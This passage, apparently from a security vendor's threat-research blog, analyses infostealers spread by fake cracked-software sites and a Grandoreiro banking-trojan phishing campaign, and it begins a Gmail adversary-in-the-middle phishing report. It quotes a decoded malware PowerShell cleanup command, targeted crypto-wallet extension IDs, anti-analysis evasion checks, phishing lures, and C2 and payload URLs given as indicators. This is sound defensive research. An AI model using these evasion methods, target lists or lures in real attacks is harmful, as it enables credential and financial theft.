such many of the users can’t identify the intent behind one makeshift pop-up site peddling illegal software downloads vs. another one hosting malware downloads. The sections that follow provide a detailed technical analysis of two different active infostealer infection chains that fall into this category. Fig 1. Fake shareware sites indexed on Google search Technical Analysis Case 1 Stage 1: Redirection and Infostealer Malware Distribution When users visit fake shareware sites and click to download, they immediately experience multiple redirects that obfuscate the process for detection by search engines, scanners, and victims, and finally deliver them to a malicious site hosting the threat actor’s intended content - an infostealer malware like the one featured in Fig 2 below. While this process may raise eyebrows on a verified site, visitors on these back channel sites may assume that this sleight-of-hand is a normal part of how shareware sites operate. Fig 2. Infection vector After arriving at the final destination and finishing the download, the final payload received in this sample is a zip archive file <10 MB in size. In this case, the malware-hosting URL is an open directory containing more than 3000 malicious zip archive files masquerading as common types of cracked software, as shown in the Fig 3 snippet below. Fig 3. Web directory containing thousands of malware laced zip files The malware distribution pattern our researchers observed is not consistent, but we did discover that trusted sites like Mediafire as shown in Fig. 4 below, and Discord are also being used to host malware in several different campaigns. Fig 4. Redirected landing phishing page Stage 2: Loader The downloaded file is a compressed archive file that contains a password-protected zip archive and a text file disguised to contain stored passwords. Fig 5. Password and Archive file The password-protected zip file further contains a zip file named of size 1.3 MB. Extracting the zip archive reveals a 0x20 and 0x00 byte padded executable file just over600 MB in size as shown in Fig. 5 below. Fig 5. File padded with irrelevant bytes ThreatLabz researchers found that the padded bytes were irrelevant to running the sample file and determined that threat actor included them to evade detection by security engines. The file also contains Anti-VM and Anti-Debug checks. Following this the dumping process removes irrelevant bytes dropping the file size in this sample down from 600MB to 78 KB, as shown in Fig 6 below. Fig 6: Actual file size after dumping the process Once the file is executed it spawns an encoded PowerShell command that launches a cmd.exe process with a timeout of 10 secs. This timeout period is added for evading automated sandbox analysis tools. The decoded PowerShell command looks like this: (Start-Sleep-s10;Remove-Item-Path"C:\Users\User\Desktop\Setupfinal.exe"-Force) Once the timeout period is over the loader connects to the remote server requesting a jpg file named ‘windows.decoder.manager.form.fallout15_Uwifqzjw.jpg’, as shown in Fig. 7 below. Fig 7: Loader downloading requested jpg file from the remote server The downloaded jpg file looks like it is encrypted but opening it with an editor reveals that the contents are simply stored in reverse order and once the content is reversed by the malicious program, it transforms into a DLL file. Stage 3: Redline Stealer The DLL payload contains a RedLine Stealer malware that targets your stored browser history, it is obfuscated with a crypter and compiled into memory by the loader. The loader loads the DLL and replaces it with the current thread context. This RedLine Stealer sample is designed to steal stored browser passwords, auto-complete data including credit card information, and cryptocurrency files and wallets. The implications for an unsuspecting victim trying to save money on a program they may barely intend to use can be severe resulting in financial losses, identity theft, and other forms of fraud and extortion. Technical Analysis Case 2 ThreatLabz researchers also observed fake shareware sites distributing instances of the RecordBreaker Stealer malware delivered without the use of any legitimate file hosting services by instead using malware packer tools like Themida, VMprotect, and MPRESS, as found in the sample packed with Themida shown in Fig. 8 below. Fig 8: Files packed with Themida/VMprotect Malware authors typically use packers and protectors for compression and to wrap the software in an extra layer of disguised code to evade detection. Packers are also growing in popularity for the anti-VM and anti-debugging techniques they offer which allow the malware to effectively navigate the system, avoid detection, and run more smoothly, as shown in the screenshots featured in Fig. 9-10 below. Fig 9: API calls used for anti-debugging techniques using FindWindow API Fig 10: Message box displayed to close security tools After execution, the malware in this sample communicates with the C2 server and sends back the machine ID and config ID before downloading its required libraries from the remote server. Fig 11: Communication with C2 server The examined instance of RecordBreaker is designed to steal browser information from extensions, including: MetaMask, TronLink, BinanceChain, Ronin, MetaMask, MetaX, XDEFI, WavesKeeper, Solflare, Rabby, CyanoWallet, Coinbase, AuroWallet, KHC, TezBox, Coin98, Temple, ICONex, Sollet, CloverWallet, PolymeshWallet, NeoLine, Keplr, TerraStation, Liquality, SaturnWallet, GuildWallet, Phantom, TronLink, Brave, MetaMask, Ronin, MEW_CX, TON, Goby and TON using extension IDs provided from the C2 server, like the examples shown below. ejbalbakoplchlghecdalmeeeajnimhm;(MetaMask) ibnejdfjmmkpcnlpebklmnkoeoihofec;(TronLink) fhbohimaelbohpjbbldcngcnapndodjp;(BinanceChain) fnjhmkhhmkbjkkabndcnnogagogbneec;(Ronin) kjmoohlgokccodicjjfebfomlbljgfhk;(Ronin) nkbihfbeogaeaoehlefnkodbefgpgknn;(MetaMask) mcohilncbfahbmgdjkbpemcciiolgcge;(MetaX) hmeobnfnfcmdkdcmlblgagmfpfboieaf;(XDEFI) lpilbniiabackdjcionkobglmddfbcjo;(WavesKeeper) bhhhlbepdkbapadjdnnojkbgioiodbic;(Solflare) acmacodkjbdgmoleebolmdjonilkdbch;(Rabby) dkdedlpgdmmkkfjabffeganieamfklkm;(CyanoWallet) hnfanknocfeofbddgcijnmhnfnkdnaad;(Coinbase) cnmamaachppnkjgnildpdmkaakejnhae;(AuroWallet) hcflpincpppdclinealmandijcmnkbgn;(KHC) mnfifefkajgofkcjkemidiaecocnkjeh;(TezBox) aeachknmefphepccionboohckonoeemg;(Coin98) ookjlbkiijinhpmnjffcofjonbfbgaoc;(Temple) flpiciilemghbmfalicajoolhkkenfel;(ICONex) fhmfendgdocmcbmfikdcogofphimnkno;(Sollet) nhnkbkgjikgcigadomkphalanndcapjk;(CloverWallet) jojhfeoedkpkglbfimdfabpdfjaoolaf;(PolymeshWallet) cphhlgmgameodnhkjdmkpanlelnlohao;(NeoLine) dmkamcknogkgcdfhhbddcghachkejeap;(Keplr) ajkhoeiiokighlmdnlakpjfoobnjinie;(TerraStation) aiifbnbfobpmeekipheeijimdpnlpgpp;(TerraStation) kpfopkelmapcoipemfendmdcghnegimn;(Liquality) nkddgncdjgjfcddamfgcmfnlhccnimig;(SaturnWallet) nanjmdknhkinifnkgdcggcfnhdaammmj;(GuildWallet) bfnaelmomeimhlpmgjnjophhpkkoljpa;(Phantom) ibnejdfjmmkpcnlpebklmnkoeoihofec;(TronLink) odbfpeeihdkbihmopkbjmoonfanlbfcl;(Brave) ejbalbakoplchlghecdalmeeeajnimhm;(MetaMask) kjmoohlgokccodicjjfebfomlbljgfhk;(Ronin) nlbmnnijcnlegkjjpcfjclmcfggfefdm;(MEW_CX) cgeeodpfagjceefieflmdfphplkenlfk;(TON) jnkelfanjkeadonecabehalmbgpfodjm;(Goby) nphplpgoakhhjchkkhmiggakijnkhfnd;(TON) After running, the gathered system information and installed application information is sent back to the C2 server. Fig 12: Stealing system and installed software information This malware can also send screenshots back to the C2 server, as shown below in the post-transaction relaying desktop screenshot. Fig 13: Screenshot sent back to C2 server RecordBreaker leaves nothing untapped, also collecting cookies from across the victims different browsers and sending them back to the C2 server, as shown in Fig 14 below Fig 15: Stealing browser cookies Sample downloaded files 45.150.67[.]175/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll 45.150.67[.]175/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll 45.150.67[.]175/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll 45.150.67[.]175/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll 45.150.67[.]175/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll 45.150.67[.]175/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll 45.150.67[.]175/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll 45.150.67[.]175/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nssdbm3.dll 94.158.244[.]119/U4N9B5X5F5K2A0L4L4T5/84897964387342609301.bin Conclusion: This campaign highlights how attackers take advantage of users’ behavior through the distribution of pirated software to spread infostealer malware and extort victims for financial profits and other gains. The campaigns analyzed in this article depend on users visiting and downloading software from unscrupulous websites as the initial infection vector, users can easily prevent these unfortunate infections by avoiding this illegal practice and only visiting legitimate sites and downloading software from trustworthy sources. Best Practices: Avoid visiting untrusted sites including those that host pirated software Do not install pirated software on your device Enable policy to block password-protected files Do not save credentials in the browser Zscaler Cloud Sandbox Detection: IOCs These are the malicious indicators involved in this campaign, MD5s are not listed because the password-protected zip files involved generate a new MD5 with each download transaction. Malicious IPs: 45[.]150[.]67[.]175 94[.]158[.]244[.]119 45[.]135[.]134[.]211 194[.]180[.]174[.]180 185[.]250[.]148[.]76 37[.]221[.]67[.]219 45[.]140[.]146[.]169 94[.]140[.]114[.]231 94[.]158[.]244[.]213 45[.]142[.]212[.]100 194[.]180[.]174[.]187 194[.]180[.]174[.]186 135[.]181[.]105[.]89 77[.]91[.]102[.]88 77[.]91[.]103[.]31 94[.]158[.]247[.]24 85[.]239[.]34[.]235 45[.]67[.]34[.]234 45[.]67[.]34[.]238 45[.]142[.]215[.]92 45[.]153[.]230[.]183 45[.]152[.]86[.]98 74[.]119[.]193[.]57 77[.]91[.]74[.]67 146[.]19[.]247[.]28 77[.]91[.]102[.]115 45[.]159[.]251[.]21 146[.]19[.]247[.]52 45[.]142[.]215[.]50 45[.]133[.]216[.]170 193[.]43[.]146[.]22 193[.]43[.]146[.]26 146[.]70[.]124[.]71 193[.]43[.]146[.]17 146[.]19[.]75[.]8 45[.]84[.]0[.]152 45[.]133[.]216[.]249 45[.]67[.]34[.]152 45[.]133[.]216[.]145 Fake shareware download sites: fullcrack4u[.]com activationskey[.]org xproductkey[.]com saifcrack[.]com crackedpcs[.]com allcracks[.]org aryancrack[.]com prolicensekeys[.]com apps-for-pc[.]com bagas3-1[.]com seostar2[.]xyz keygenwin[.]com cloud27[.]xyz allpcsoftwares[.]info deepprostore[.]com serialfull[.]info steamunlocked[.]one file-store2[.]xyz reallkeys[.]com fullcrackedz[.]com softwaresdaily[.]com officials-kmspico[.]com hotbuckers[.]com mycrackfree[.]com procfullcracked[.]com idmfullcrack[.]info drake4[.]xyz crackedsofts[.]info getintopc[.]digital piratespc[.]net apxsoftwares[.]com crackfullpro[.]com allcrackhere[.]info kuyhaa-me[.]pw crackplaced[.]com freepccrack[.]com proapkcrack[.]com crackfullpc[.]com Free-4paid[.]com crackedlink[.]com crackpropc[.]com cracktube[.]net getmacos[.]org getwindowsactivator[.]info playzipgames[.]co proactivationkey[.]com procrackfree[.]com showcrack[.]com Redirected Malicious NRD domains: file-store2[.]xyz seostar2[.]xyz drake4[.]xyz cloud27[.]xyz kirov1[.]xyz unixfilesystem2[.]xyz file-store4[.]xyz cloud25[.]xyz clubfiletyc[.]com ihgatms[.]cfd notbeexcluded[.]cfd andslideasco[.]cfd sonarsurveyof[.]cfd butvelocities[.]cfd herihed[.]cfd largerinscale[.]cfd itsdebri[.]cfd lditsdebriisar[.]cfd eeorderso[.]cfd psestwotothr[.]cfd uptomscan[.]cfd fmagnitude[.]cfd byasdebrisfie[.]cfd ticlewesimulate[.]cfd ergyfrommo[.]cfd sup7podthee[.]cfd heirreplacem[.]cfd hthecrown[.]cfd entbymo[.]cfd ctswasprimarilyd[.]cfd adsharedwi897th[.]cfd mershadclo[.]cfd aptersandt[.]cfd nkstherefor[.]cfd iruiotish[.]cfd itishindia[.]cfd theyt786ku[.]cfd theritishind[.]cfd edbythe67ak[.]cfd panyruld[.]cfd uslimsofbr[.]cfd sputrey567rik[.]cfd shatheg[.]cfd istanmove[.]cfd menhichs[.]cfd upta16theu[.]cfd andelect[.]cfd oughtme[.]cfd ionvictoriesin[.]cfd anwasthere[.]cfd ateofakist[.]cfd egiontheh[.]cfd ahthegha[.]cfd mayyadc[.]cfd emodernst[.]cfd almofmultiple[.]cfd ofth546ebr[.]cfd znavidsde[.]cfd mprisesth[.]cfd ionthatco[.]cfd onzeage[.]cfd indush[.]cfd low-lyingwh[.]cfd nalhajarm[.]cfd iesandb[.]cfd helandsca[.]cfd tsofhormuz[.]cfd rhighest[.]cfd rategicstrai[.]cfd undimangen[.]cfd ani453las[.]cfd anceovarec[.]cfd dcommerc[.]cfd condandthi[.]cfd resonherse[.]cfd ordsexecutiv[.]cfd oundandk[.]cfd quezachieve[.]cfd undertheguid[.]cfd domainxnewma[.]com Tue, 23 8月 2022 08:04:13 -0700 Mitesh Wani Grandoreiro Banking Trojan with New TTPs Targeting Various Industry Verticals Introduction Recently Zscaler ThreatLabz observed a Grandoreiro campaign targeting organizations in the Spanish-speaking nations of Mexico and Spain that work across a variety of different industry verticals such as Automotive, Chemicals Manufacturing and others. In this campaign, the threat actors impersonate government officials from the Attorney General’s Office of Mexico City and from the Public Ministry in the form of spear-phishing emails in order to lure victims to download and execute “Grandoreiro” a prolific banking trojan that has been active since at least 2016, and that specifically targets users in Latin America. Grandoreiro is written in Delphi and utilizes techniques like binary padding to inflate binaries, Captcha implementation for sandbox evasion, and command-and-control (CnC) communication using patterns that are identical to LatentBot. Key Features of this Attack: Grandoreiro targets organizations in the Spanish-speaking nations of Mexico and Spain across various industry verticals The threat actors in this campaign impersonate Mexican Government Officials Multiple anti-analysis techniques are used by Grandoreiro Loader along with implementation of Captcha for evading Sandboxes The Grandoreiro Loader sends across a Check-In Request with all the required User, System and Campaign information The Grandoreiro uses a binary padding technique to evade sandboxes, adding multiple BMP images to the resource section of the binary and inflating the size to 400+ MB The CnC Communication pattern of 2022 Grandoreiro is now completely identical to the LatentBot with “ACTION=HELLO” beacon and ID based communication In-depth analysis of the Grandoreiro campaign and corresponding Infection chain has been explained below. Campaign Details: ThreatLabz has analyzed multiple infection chains for this Grandoreiro campaign, which began in June 2022 and is still ongoing. Based on our analysis, we can infer that the threat actors in this case are attempting to target organizations in the Spanish-speaking countries of Mexico and Spain. Industries targeted in this campaign include: Chemicals Manufacturing Automotive Civil and Industrial Construction Machinery Logistics - Fleet management services Fig 1. Targeted Industry Verticals along with Geographical Locations Infection Chain: The infection chain employed by the threat actors in this campaign is quite similar to previous Grandoreiro campaigns. It begins with a spear-phishing email written in Spanish, targeting victims in Mexico and Spain. The email consists of an embedded link which when clicked redirects the victim to a website that further downloads a malicious ZIP archive on the victim's machine. The ZIP archive is bundled with the Grandoreiro Loader module with a PDF Icon in order to lure the victim into execution; this is responsible for downloading, extracting and executing the final 400MB “Grandoreiro” payload from a Remote HFS server which further communicates with the CnC Server using traffic identical to LatentBot Fig 2. Infection Chain Let’s dive into the spear-phishing emails received by the victims. The phishing emails are divided into two sets based on the lures used by the threat actors. Set I - Impersonating Government Officials - Provisional Archiving Resolution: The first set of phishing emails observed during the campaign were those in which the threat actors impersonated Government officials, instructing the victims to download and share the Provisional Archiving Resolution. Below are the details of the phishing emails: 1.) Subject (Spanish) : Fiscalia General del Gobierno (RESOLUCIÓN13062022) Subject (English) : Government Attorney General (RESOLUTION 13062022) Fig 3. Phishing Email - Fiscalia General del Gobierno As can be seen in the above screenshot, the threat actors are posing as the current Attorney General of Mexico “Alejandro Gertz Manero” The email subject and the signature are of the Attorney General’s Office “Fiscalia General de Justicia'' making the email seem legit. The content in this case notifies the victims about the Provisional Archiving Resolution and asks them to download and share the Resolution before a specified date, after which the payment would not be refunded. If the victim clicks on the embedded link to download the resolution, it redirects to a malicious domain: http[:]//barusgorlerat[.]me as shown in the screenshot, and then downloads a ZIP file from the remote server consisting of the Grandoreiro Loader. 2.) We also came across a similar lure where the threat actors masquerade as “Alejandra Solano - from the Public Ministry - Early Decision and Litigation Section” and ask the Victim to download and share the Provisional Archiving Resolution. In this case, the embedded link redirects to another domain: http[:]//damacenapirescontab[.]com as shown in the screenshot below. Subject (Spanish) :RV [EXTERNAL] Notificación del Ministerio Público - MP08062022 3:59:54 PM Subject (English) : RV [EXTERNAL] Notification of the Public Ministry - MP08062022 3:59:54 PM Fig 4. Phishing Email 2 Set II - Cancellation of Mortgage Loan and Deposit Voucher Slip In this set, there are two types of phishing email lures. The first is regarding the cancellation of a mortgage loan, in which the threat actors ask the victim to download a mortgage cancellation form by opening the embedded link as shown in the below screenshot. Once the link is opened it redirects to the malicious domain: http[:]//assesorattlas[.]me which then further downloads a ZIP File consisting of the Grandoreiro Loader. Subject (Spanish) : Hola agonzaleza Baja del préstamo hipotecario 12:05:38 PM Subject (English) : Hi Agonz, Low Mortgage Loan 12:05:38 PM Fig 5. Phishing Email - Cancellation of Mortgage Loan The second one consists of two similar emails targeted towards two different organizations in Mexico. Here, the victim is asked to download a deposit voucher/slip by clicking on the hyperlink. Once the link is opened, it downloads a ZIP File consisting of the Grandoreiro Loader from http[:]//assesorattlas[.]me and http[:]//perfomacepnneu[.]me as shown in the below screenshot. Subject (Spanish) : Sr.(a) alfonso.vera Comprobante deposito 05-Jul-22 8:06:09 PM Subject (English) : Sr. (a) alfonso.vera Proof of deposit 05-Jul-22 8:06:09 PM Subject (Spanish) : RV Comprobante deposito 28-jun-22 5:11:45 PM Subject (English) : RV Deposit voucher 28-jun-22 5:11:45 PM Fig 6. Phishing Email - Proof of Deposit After analyzing all the phishing emails in our dataset, we were able to establish a common pattern between the emails on the basis of similar content to lure the victims, and the pattern of the embedded links (Pattern: domain.tld/?timestamp), sometimes seen along with targeted countries (domain.tld/country/?timestamp) that were used to download the Grandoreiro Loader from the remote HFS server. Fig 7. Phishing Email - Pattern Analysis By observing this pattern, we can state that the Grandoreiro campaign might be conducted by a single threat actor across various organizations in Mexico and Spain. The pattern can also be beneficial to track other related campaigns as well. Once the victim clicks on the embedded link, the user is redirected to download a ZIP File onto the machine from the following different URLs where all the downloaded files drop the Grandoreiro Loader. The file names correspond to the email lures being used: 35[.]181[.]59[.]254/ 35[.]180[.]117[.]32/$FISCALIGENERAL3489213839012 35[.]181[.]59[.]254/$FISCALIGE54327065410839012?id_JIBBRS=DR-307494 52[.]67[.]27[.]173/deposito(1110061313).zip Next, let’s examine the ZIP File named “” which is downloaded from the following remote server 35[.]180[.]117[.]32/$FISCALIGENERAL3489213839012 once the victim clicks on the embedded link in the Spear phishing email. The ZIP archive bundles two files: A31136.xml infonpeuz52271VVCYX.exe Fig 8. Downloaded ZIP Archive In this case, the first file A31136.xml is not a XML file but a portable executable with the original name “Extensions.dll” and signed with a valid “ASUSTEK COMPUTER INCORPORATION” certificate. It is benign in nature as shown in the screenshot below, and never loaded by the Loader module. Fig 9. Extensions.dll The second file bundled inside the ZIP archive “infonpeuz52271VVCYX.exe” is the Grandoreiro Loader module written in Delphi and masking itself with a PDF Icon compiled on 14th June 2022 in order to lure the victims into execution, as shown in the screenshot below. Fig 10. Grandoreiro Loader Module When the loader module is executed by the victim, it initially creates a Mutex “ZTP@11” by calling CreateMutexA() Fig 11. Creates Mutex Then it loads the “TForm1” Class Object from the resource section “RCData”, and the forms in Delphi are defined by the TForm class itself. Fig 12. Loads the TForm1 Class Object Further, the loader module performs the following anti-analysis checks before executing the critical functions. i) Detect Analysis Tools: The malware detects the below mentioned analysis tools by decrypting the tool names using a XOR-based Decryption routine. It then takes a snapshot of currently executing processes in the system using CreateToolhelp32Snapshot() and walks through the process list using Process32First() and Process32Next(). If any of the analysis tools exist, the malware execution is terminated. Fig 12. Detection of Analysis Tools Regmon.exe Filemon.exe Procmon.exe Wireshark.exe Procexp64.exe Procexp.exe ProcessHacker.exe PCHunter64.exe PCHunter32.exe JoeTrace.exe Fig 13. List of Detected Analysis Tools The second method that the malware uses to detect the analysis tools is to compare the text of the window names with analysis tools (including TCPView and RegShot in this case) by using GetWindowTextW(), FindWindowW, and EnumWindows() APIs. ii) Detect Execution Directory: In this case, the malware checks the directory in which it is being executed. If the below mentioned directory names are used, it terminates itself with a comparison logic in place. C:\insidetm C:\analysis Fig 14. Detection of Execution Directory iii) Anti-Debug Technique: In this case, the Grandoreiro executes the IsDebuggerPresent() to determine whether the current process is being executed in the context of a debugger. If the result is non-zero, the malware terminates itself as shown below in the screenshot. Fig 15. IsDebuggerPresent() Anti-Debug Technique iv) Vmware I/O Port Anti-VM Technique: In this case, the malware checks whether the execution is occurring in a virtual environment (Vmware) by reading data from the I/O Port “0x5658h” (VX) used by Vmware. It achieves this by setting up the registers in the following format as shown below in the screenshot. Fig 16. Vmware I/O Port Anti-VM Technique If, after execution of “in” instruction (executed in order to pull data from the port “VX”) the EBX register consists of the magic Number “VMXh” the malware is executed in a virtualized environment and thus further terminates itself. After completing the anti-analysis checks, the malware decrypts a URL by passing an encrypted string to the string decryption routine. The string decryption routine performs XOR-based decryption with the following key as shown in the screenshot below. Fig 17. Download Server URL decryption via XOR-based String decryption routine This string decryption routine has been used previously in the older variants of Grandoreiro for decrypting strings and API calls in order to evade detection. The Grandoreiro string decryptor can be found here, developed by the SpiderLabs Team at TrustWave. The Grandoreiro Loader then sends across a GET Request to the previously decrypted URL: “http[:]//15[.]188[.]63[.]127/$TIME” which provides in response the URL to download the next stage as seen below. Fig 18. Acquiring Final Payload Download URL Next, the malware executes the URLDownloadToFile() API function with the szURL argument as the remote HFS server URL “http://15[.]188[.]63[.]127:36992/zxeTYhO.xml” in order to download the Final Payload of the Grandoreiro Banking Trojan as shown in the screenshot below. Fig 19. Download Final Payload of the Grandoreiro Banking Trojan The downloaded Grandoreiro Final Payload is a 9MB ZIP archive that is extracted dynamically, and the bundled executable (disguised as zxeTYhO.png) inside the archive is written in a folder whose name is generated at runtime in the “C:\ProgramData'' directory. Also the PE file masquerading as “zxeTYhO.png” is renamed to ASUSTek[random_string].exe, generated with a random string generation logic, and changes on every execution. Fig 20. Grandoreiro Final Payload renamed and written in ProgramData with random generated folder name Furthermore, the Stage-1 Grandoreiro module collects the following System and User information where all the strings are decrypted at runtime via the similar String Decryption Function. i) Username - Retrieves Username via GetUserNameW() Fig 21. Fetches Username ii) ComputerName - Retrieves Computer name via GetComputerNameW Fig 22. Fetches ComputerName iii) Operating System and Version - Retrieves the Operating System and its version from the Windows NT\\CurrentVersion and ProductName registry hive. Fig 23. Fetches OS and its version iv) Antivirus - Retrieves the Antivirus Program installed on the machine via a WMI query shown below in the screenshot Fig 24. Fetches Antivirus v) Check Installed Programs - In this case the Grandoreiro module checks whether the following programs are installed by accessing the Program Files folder (Path: C:\Program Files\ and C:\Program Files (x86)\ ) or the AppData Folder (Path: C:\Users\<username>\AppData\Local) Crypto Wallets: Binance Electrum Coinomi BitBox OPOLODesk LedgerLive Bitcoin Core Banking, Anti-Malware Programs and Mail Clients: AppBrad Bradesco Sicoobnet Navegador C6 Bank Aplicativo Itau Topaz OFD Warsaw Diebold Warsaw Outlook If any of the listed programs are installed on the machine, the malware stores the program names to a list for further usage. Once all of the above mentioned User and System information has been gathered by the malware, it then decrypts the Check-In URL along with required parameters via the XOR-based String decryption routine used previously and concatenates the parameters with the corresponding gathered information as shown below in the screenshot. Fig 25. Decryption and Arrangement of Check-In URL After completion of the concatenation, the loader sends across a POST Check-In Request to the Host: “barusgorlerat[.]me with all the gathered User, System, and Campaign information arranged along with the different parameters as shown and explained in the screenshot below. Fig 26. Check-In Request Once the Check-In request is sent to the remote server, the loader executes the Grandoreiro Final Payload which was downloaded, extracted, and renamed previously. Grandoreiro - Final Payload: The Grandoreiro Final Payload written in Delphi was downloaded previously from the remote HFS server “http://15[.]188[.]63[.]127:36992/zxeTYhO.xml” as a 9.2 MB ZIP file which is then extracted and executed by the Grandoreiro Loader. The extracted file is a 414MB Portable Executable file disguised with a “.png” extension which is later renamed to “.exe” dynamically by the loader and also the final payload is signed with an “ASUSTEK DRIVER ASSISTANTE” digital certificate to appear legitimate and evade detection. Fig 27. Grandoreiro Final Payload Signed with ASUSTEK Certificate As seen in the older Grandoreiro samples, a similar “Binary Padding” technique is used here in order to inflate the file size of the binary to around 400MB by adding two ~200MB Bitmap images in the resource section as shown in the screenshot below. This technique works as an anti-sandbox technique as it helps in evading sandboxes as most of them have a file size limit for execution. Fig 28. Binary Padding used by Grandoreiro The final payload maintains persistence on the Machine by leveraging the Run Registry key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) which would allow the payload to be executed on startup. Fig 29. Maintain Persistence on the Machine via Run Registry Key In the following Grandoreiro variant, the Payload writes an .ini file (Name: ASUSTekGvaxvh.ini) in the directory of execution which consists of all the following information as shown in the screenshot. The values in the Configuration file are encrypted using a XOR-based Encryption routine with a key that changes in every sample. Fig 30. INI Configuration File The Command & Control communications have been updated from the 2020 variant. Previously there were some similarities between the Grandoreiro and LatentBot communications (as exhibited here), but they were not identical. However, in the latest 2022 sample, the communication pattern has been upgraded by the threat actors and now it is completely identical to LatentBot where the name of the CnC Subdomain is generated via a Domain Generation Algorithm just as the older Grandoreiro variants. The identical LatentBot beacon command “ACTION=HELLO” and the ID-Based communication can be seen in the screenshot below. Fig 31. Grandoreiro C2 Communication - 2022 Fig 32. LatentBot C2 Communication - 2017 (Pic Credit: link) Identical to LatentBot, the Command & Control server provides the Cookie value as a response to the “ACTION=HELLO” beacon which is further used as an ID for communication in the latest Grandoreiro sample, as seen in the below screenshot. Fig 33. Grandoreiro 2022 C2 Communication - ID based Communication Fig 34. LatentBot 2017 C2 Communication - ID based Communication (Pic Credit: link) Furthermore, Grandoreiro includes the following backdoor capabilities for espionage purposes: Keylogging Auto-Updation for newer versions and modules Web-Injects and restricting access to specific websites Command execution Manipulating windows Guiding the victim's browser to a certain URL C2 Domain Generation via DGA (Domain Generation Algorithm) Imitating mouse and keyboard movements While finalizing our article, we came across another ongoing Grandoreiro campaign with an extra anti-sandbox technique used by the malware authors. This technique requires a Captcha to be filled manually to execute the malware in the victim’s machine. The malware is not executed until or unless the Captcha is filled. Figure 35: Captcha used as Anti-sandbox technique (Pic credit: twitter) We have analyzed the following malware in our Lab and found that the network communication is similar to the one analyzed in the blog and it also follows “ACTION=HELLO” beacon and ID based communication as inherited from LatentBot. Zscaler Sandbox Coverage: Figure 36: The Zscaler Cloud Sandbox successfully detected the malware loader. Win32.Banker.Grandoreiro Conclusion: The threat actors behind Grandoreiro Banking malware are continuously evolving their tactics and malware to successfully carry out attacks against their targets by incorporating new anti-analysis tricks to evade security solutions; inheriting features from other Malware families. The Zscaler ThreatLabz team will continue to monitor these attacks to help keep our customers safe IOCs: Embedded Domains: (Same used for Check-In Request) http[:]//barusgorlerat[.]me http[:]//damacenapirescontab[.]com http[:]//assesorattlas[.]me http[:]//perfomacepnneu[.]me Grandoreiro Loader URLs: 35[.]181[.]59[.]254/ 35[.]180[.]117[.]32/$FISCALIGENERAL3489213839012 35[.]181[.]59[.]254/$FISCALIGE54327065410839012?id_JIBBRS=DR-307494 52[.]67[.]27[.]173/deposito(1110061313).zip 54[.]232[.]38[.]61/notificacion(flfit48202).zip 54[.]232[.]38[.]61/notificacion(egmux24178).zip Final Grandoreiro Payload URLs with Check-In URL: 15[.]188[.]63[.]127/$TIME 167[.]114[.]137[.]244/$TIME 15[.]188[.]63[.]127:36992/zxeTYhO.xml 15[.]188[.]63[.]127:36992/vvOGniGH.xml 15[.]188[.]63[.]127[:]36992/eszOscat.xml 15[.]188[.]63[.]127:36992/YSRYIRIb.xml 167[.]114[.]137[.]244:48514/eyGbtR.xml barusgorlerat[.]me/MX/ assesorattlas[.]me/MX/ assesorattlas[.]me/AR/ atlasassessorcontabilidade[.]com/BRAZIL/ vamosparaonde[.]com/segundona/ mantersaols[.]com/MEX/MX/ premiercombate[.] Grandoreiro CnC: Pcbbcrjcgbcghjpbcgkccbjorkhhjcjj[.]fantasyleague[.]cc -> fantasyleague[.]cc jmllmedvhgmhldjgmhvmmlljhvgdzvzz[.]dynns[.]com ciscofreak[.]com -> -> -> MD5 Hashes: Grandoreiro Loader: 970f00d7383e44538cac7f6d38c23530 724f26179624dbb9918609476ec0fce4 2ec2d539acfe23107a19d731a330f61c 6433f9af678fcd387983d7afafae2af2 56416fa0e5137d71af7524cf4e7f878d 7ea19ad38940ddb3e47c50e622de2aae Grandoreiro Final Payload: e02c77ecaf1ec058d23d2a9805931bf8 6ab9b317178e4b2b20710de96e8b36a0 5b7cbc023390547cd4e38a6ecff5d735 531ac581ae74c0d2d59c22252aaac499 Thu, 18 8月 2022 11:30:37 -0700 Niraj Shivtarkar AitM Phishing Attack Targeting Enterprise Users of Gmail Summary This blog is a follow-up to our recent publication which described the details of a large-scale phishing campaign targeting enterprise users of Microsoft email services. Beginning in mid-July 2022, ThreatLabz started observing instances of adversary-in-the-middle (AitM) phishing attacks targeted towards enterprise users of Gmail. Upon further analysis of the attack chain, we identified multiple similarities between this campaign and the previous AitM phishing campaign targeting users of Microsoft email services. G Suite is the business version of Gmail, and is widely used in enterprises. This campaign specifically targeted chief executives and other senior members of various organizations which use G Suite. As we have already covered the technical details of AitM techniques in our previous blog, we won't describe them again here. However, it is important to note that AitM phishing kits can be used to target various websites and bypass multi-factor authentication. By using phishlets crafted to target a specific legitimate website, attackers can quickly re-use the AitM phishing technique against a new target website. In this blog, we present the indicators of overlap between the two campaigns (Microsoft and Gmail), and discuss how we reached the conclusion that both these phishing campaigns were run by the same threat actor. These campaigns used similar tactics, techniques and procedures (TTPs). There was also an overlap of infrastructure, and we even identified several cases in which the threat actor switched from Microsoft AitM phishing to Gmail phishing using the same infrastructure. Interestingly, the Gmail AitM phishing campaign had a much lower volume of targets compared to the Microsoft AitM phishing attack. Key Points Beginning in July 2022, the same threat actor that used AitM phishing kits to target enterprise users of Microsoft email services began targeting enterprise users of G Suite. The attack is capable of bypassing multi-factor authentication (MFA) protection of Gmail. These phishing emails were sent to chief executives and other senior members of the targeted organizations in the US. In some cases, the emails were also sent to the executive assistants of the CEOs and CFOs. The compromised emails of chief executives were used to conduct further phishing attacks by the threat actor. Multiple compromised domains were used as an intermediate URL redirector to land the user on the final phishing page. A similar client-side fingerprinting script was used for evasion by the threat actor as observed in the previous campaign. The same redirector scripts used in the Microsoft phishing campaign were updated to target G Suite enterprise users. Attack chain Figure 1 below depicts the attack chain at a high level. The attack begins with the user receiving an email containing a malicious link. This link leverages multiple levels of redirection and abuses Open Redirect pages to land the user on the final attacker-controlled Gmail phishing domain. However, before the actual phishing page is presented to the user, the server does a fingerprinting check on the client in order to make sure that a real user is browsing to the site and not an 